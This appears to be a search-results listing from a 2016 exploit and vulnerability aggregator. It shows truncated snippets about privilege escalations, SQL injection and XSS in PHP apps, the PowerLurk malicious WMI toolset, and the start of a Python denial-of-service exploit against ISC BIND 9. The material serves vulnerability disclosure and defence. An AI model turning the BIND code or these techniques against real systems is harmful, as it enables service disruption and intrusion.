15695 matches found
BitComet 1.43 Privilege Escalation
Exploit Title: BitComet Unquoted Service Path Privilege Escalation Date: 19/10/2016 Author: Ashiyane Digital Security Team Vendor Homepage: http://www.bitcomet.com Software Link: http://download.bitcomet.com/bitcomet/bitcometsetup.exe version : 1.43 Latest Tested on: Windows 7 BitComet installs a...
SpyHunter 4.23.2 Privilege Escalation
Exploit Title: SpyHunter Unquoted Service Path Privilege Escalation Date: 19/10/2016 Author: Ashiyane Digital Security Team Vendor Homepage:http://www.enigmasoftware.com/ Software Link: http://www.enigmasoftware.com/download/SpyHunter-Installer.exe version : 4.23.2 Latest Tested on: Windows 7...
IBM Jazz Foundation Information Disclosure Vulnerability (CNVD-2016-10072)
IBM Rational Collaborative Lifecycle Management CLM, etc. are products of IBM Corporation in the U.S. IBM Rational CLM, Rational Team Concert RTC and Rational Engineering Lifecycle Manager are collaborative lifecycle management solutions; Rational Quality Manager RQM is a collaborative, Web-based...
Event Calendar PHP 1.5 - SQL Injection
===================================================== Event Calendar PHP 1.5 - SQL Injection ===================================================== Vendor Homepage: http://eventcalendarphp.com/ Date: 21 Oct 2016 Version : 1.5 Platform : WebApp - PHP Author: Ashiyane Digital Security Team Contact:...
Wise Boot Assistant 4.28.416 Privilege Escalation
Exploit Title: Wise Boot Assistant Unquoted Service Path Privilege Escalation Date: 19/10/2016 Author: Ashiyane Digital Security Team Vendor Homepage:http://www.wisecleaner.com/ Software Link: http://downloads.wisecleaner.com/soft/WiseCare365.exe version : 4.28.416 Latest Tested on: Windows 7 Wis...
IObit Advanced SystemCare 10.0.2 Privilege Escalation
Exploit Title: IObit Advanced SystemCare Unquoted Service Path Privilege Escalation Date: 19/10/2016 Author: Ashiyane Digital Security Team Vendor Homepage: http://www.iobit.com/en/index.php Software Link: http://www.iobit.com/en/advancedsystemcarefree.php version : 10.0.2 Latest Tested on: Windo...
IObit Advanced SystemCare 10.0.2 - Unquoted Service Path Privilege Escalation
IObit Advanced SystemCare 10.0.2 - Unquoted Service Path Privilege Escalation Exploit Title: IObit Advanced SystemCare Unquoted Service Path Privilege Escalation Date: 19/10/2016 Author: Ashiyane Digital Security Team Vendor Homepage: http://www.iobit.com/en/index.php Software Link:...
IObit Advanced SystemCare 10.0.2 - Unquoted Service Path Privilege Escalation
Exploit Title: IObit Advanced SystemCare Unquoted Service Path Privilege Escalation Date: 19/10/2016 Author: Ashiyane Digital Security Team Vendor Homepage: http://www.iobit.com/en/index.php Software Link: http://www.iobit.com/en/advancedsystemcarefree.php version : 10.0.2 Latest Tested on: Windo...
Shopify: race condition in adding team members
The researcher reported a race condition when adding new staff members that would allow bypassing the staff account limit for all plans. We fixed this issue by adding an exclusive lock around the account creation process. Note: Shopify no longer accepts reports regarding race conditions bypassing...
arch-audit - An utility like pkg-audit for Arch Linux
An utility like pkg-audit for Arch Linux. Based on Arch CVE Monitoring Team data Uses data collected by the awesome Arch CVE Monitoring Team . Installation From AUR The PKGBUILD is available on AUR . After the installation just execute arch-audit . From sources git clone...
NO-IP DUC 4.1.1 Privilege Escalation
===================================================== NO-IP DUC v4.1.1 - Unquoted Service Path Privilege Escalation ===================================================== Vendor Homepage: http://noip.com Date: 14 Oct 2016 Software Link : http://www.noip.com/client/DUCSetupv411.exe Version : 4.1.1...
Simple Forum PHP 2.4 - SQL Injection
===================================================== Simple Forum PHP 2.4 - SQL Injection ===================================================== Vendor Homepage: http://simpleforumphp.com Date: 14 Oct 2016 Demo Link : http://simpleforumphp.com/forum/admin.php Version : 2.4 Platform : WebApp - PHP...
Simple Forum PHP 2.4 Cross Site Scripting
===================================================== Simple Forum PHP 2.4 - Reflected XSS ===================================================== Vendor Homepage: http://simpleforumphp.com Date: 14 Oct 2016 Demo Link : http://simpleforumphp.com/forum/admin.php Version : 2.4 Platform : WebApp - PHP...
Simple Forum PHP 2.4 - SQL Injection
Simple Forum PHP 2.4 - SQL Injection ===================================================== Simple Forum PHP 2.4 - SQL Injection ===================================================== Vendor Homepage: http://simpleforumphp.com Date: 14 Oct 2016 Demo Link : http://simpleforumphp.com/forum/admin.php...
Simple Blog PHP 2.0 - SQL Injection
===================================================== Simple Blog PHP 2.0 - SQL Injection ===================================================== Vendor Homepage: http://simpleblogphp.com/ Date: 13 Oct 2016 Demo Link : http://simpleblogphp.com/blog/admin.php Version : 2.0 Platform : WebApp - PHP...
PowerLurk - Malicious WMI Events using PowerShell
PowerLurk is a PowerShell toolset for building malicious WMI Event Subsriptions. The goal is to make WMI events easier to fire off during a penetration test or red team engagement. Please see my post Creeping on Users with WMI Events: Introducing PowerLurk for more detailed information:...
October 2016 security update release
Today we released security updates to provide additional protections against malicious attackers. As a best practice, we encourage customers to apply security updates as soon as they are released. More information about this month’s security updates and advisories can be found in the Security...
FreeBSD : X.org libraries -- multiple vulnerabilities (1cf65085-a760-41d2-9251-943e1af62eb8)
Matthieu Herrb reports : Tobias Stoeckmann from the OpenBSD project has discovered a number of issues in the way various X client libraries handle the responses they receive from servers, and has worked with X.Org's security team to analyze, confirm, and fix these issues. These issue come in...
On QQ browser and other applications“WormBrowser”vulnerability briefings-vulnerability warning-the black bar safety net
Recently, the national information security vulnerabilities library CNNVD received Pangu team on“WormBrowser”vulnerability of the relevant circumstances of the message sent, the vulnerability exists in the Android version of the QQ browser and QQ hot two applications. Due to the above products, a...
ISC BIND 9 - Denial of Service
ISC BIND 9 - Denial of Service import socket import struct TARGET = '192.168.200.10', 53 QA = 1 QTSIG = 250 DNSMESSAGEHEADERLEN = 12 def buildbindnukequestion="\x06google\x03com\x00", udpsize=512: queryA = "\x8f\x65\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01" + question + int16QA + "\x00\x01"...